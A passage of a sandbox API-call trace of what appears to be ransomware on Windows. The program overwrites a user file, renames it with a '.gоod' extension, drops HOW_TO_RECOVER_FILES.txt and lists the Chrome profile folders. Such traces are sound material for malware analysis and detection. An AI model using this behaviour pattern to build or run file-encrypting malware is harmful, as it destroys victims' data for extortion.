SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec840) returned 1 [0157.528] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\connecteddevicesplatform\\cdpglobalsettings.cdp"), fInfoLevelId=0x0, lpFileInformation=0x348dc40 | out: lpFileInformation=0x348dc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x435d76fd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5f7)) returned 1 [0157.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec800) returned 1 [0157.528] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp", nBufferLength=0x105, lpBuffer=0x1f6ec1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp", lpFilePart=0x0) returned 0x4c [0157.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec6f0) returned 1 [0157.528] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\connecteddevicesplatform\\cdpglobalsettings.cdp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0157.528] GetFileType (hFile=0x810) returned 0x1 [0157.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec660) returned 1 [0157.528] GetFileType (hFile=0x810) returned 0x1 [0157.528] GetFileSize (in: hFile=0x810, lpFileSizeHigh=0x1f6ec898 | out: lpFileSizeHigh=0x1f6ec898*=0x0) returned 0x5f7 [0157.529] ReadFile (in: hFile=0x810, lpBuffer=0x348e520, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ec7c8, lpOverlapped=0x0 | out: lpBuffer=0x348e520*, lpNumberOfBytesRead=0x1f6ec7c8*=0x5f7, lpOverlapped=0x0) returned 1 [0157.529] CloseHandle (hObject=0x810) returned 1 [0157.556] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp", nBufferLength=0x105, lpBuffer=0x1f6ec1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp", lpFilePart=0x0) returned 0x4c [0157.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec6f0) returned 1 [0157.556] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\connecteddevicesplatform\\cdpglobalsettings.cdp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0157.557] GetFileType (hFile=0x810) returned 0x1 [0157.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec660) returned 1 [0157.557] GetFileType (hFile=0x810) returned 0x1 [0157.557] WriteFile (in: hFile=0x810, lpBuffer=0x350a1f8*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x1f6ec6d8, lpOverlapped=0x0 | out: lpBuffer=0x350a1f8*, lpNumberOfBytesWritten=0x1f6ec6d8*=0x600, lpOverlapped=0x0) returned 1 [0157.558] CloseHandle (hObject=0x810) returned 1 [0157.558] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp", nBufferLength=0x105, lpBuffer=0x1f6ec370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp", lpFilePart=0x0) returned 0x4c [0157.558] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp.gоod", nBufferLength=0x105, lpBuffer=0x1f6ec370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp.gоod", lpFilePart=0x0) returned 0x51 [0157.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec800) returned 1 [0157.558] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\connecteddevicesplatform\\cdpglobalsettings.cdp"), fInfoLevelId=0x0, lpFileInformation=0x1f6ec8e0 | out: lpFileInformation=0x1f6ec8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5a1fd1be, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x600)) returned 1 [0157.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec7c0) returned 1 [0157.559] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\connecteddevicesplatform\\cdpglobalsettings.cdp"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\connecteddevicesplatform\\cdpglobalsettings.cdp.gоod")) returned 1 [0157.559] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ec4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4f [0157.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca00) returned 1 [0157.559] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\connecteddevicesplatform\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x810 [0157.560] GetFileType (hFile=0x810) returned 0x1 [0157.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec970) returned 1 [0157.560] GetFileType (hFile=0x810) returned 0x1 [0157.560] WriteFile (in: hFile=0x810, lpBuffer=0x350d8a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ecac8, lpOverlapped=0x0 | out: lpBuffer=0x350d8a8*, lpNumberOfBytesWritten=0x1f6ecac8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.561] CloseHandle (hObject=0x810) returned 1 [0157.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0157.561] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google", lpFilePart=0x0) returned 0x24 [0157.561] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a3bd622, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.562] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a3bd622, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.562] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0157.562] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0157.562] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0 [0157.562] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0157.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0157.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0157.562] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google", lpFilePart=0x0) returned 0x24 [0157.562] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a3bd622, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.563] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a3bd622, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.563] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0157.563] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0157.563] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.563] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0157.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0157.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0157.564] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", lpFilePart=0x0) returned 0x2b [0157.564] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.564] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.564] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa850ed2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfaa1ab04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0157.564] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa850ed2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfaa1ab04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0157.564] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0157.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0157.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0157.565] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome", lpFilePart=0x0) returned 0x2b [0157.565] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.565] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.565] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa850ed2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfaa1ab04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0157.565] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.565] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0157.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0157.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb630) returned 1 [0157.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", nBufferLength=0x105, lpBuffer=0x1f6eb0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", lpFilePart=0x0) returned 0x35 [0157.566] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x1f6eb350 | out: lpFindFileData=0x1f6eb350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa850ed2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfaa1ab04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0159.426] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa850ed2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfaa1ab04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.426] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0159.426] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0159.427] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a8a90d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe6ef52bb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe6f1b526, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~2.PMA")) returned 1 [0159.427] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa82ac98, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa82ac98, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0159.427] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0159.427] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5113f4c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0159.427] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b9a7a7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa7de7b5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa804a17, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x12408, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0159.427] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0159.427] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 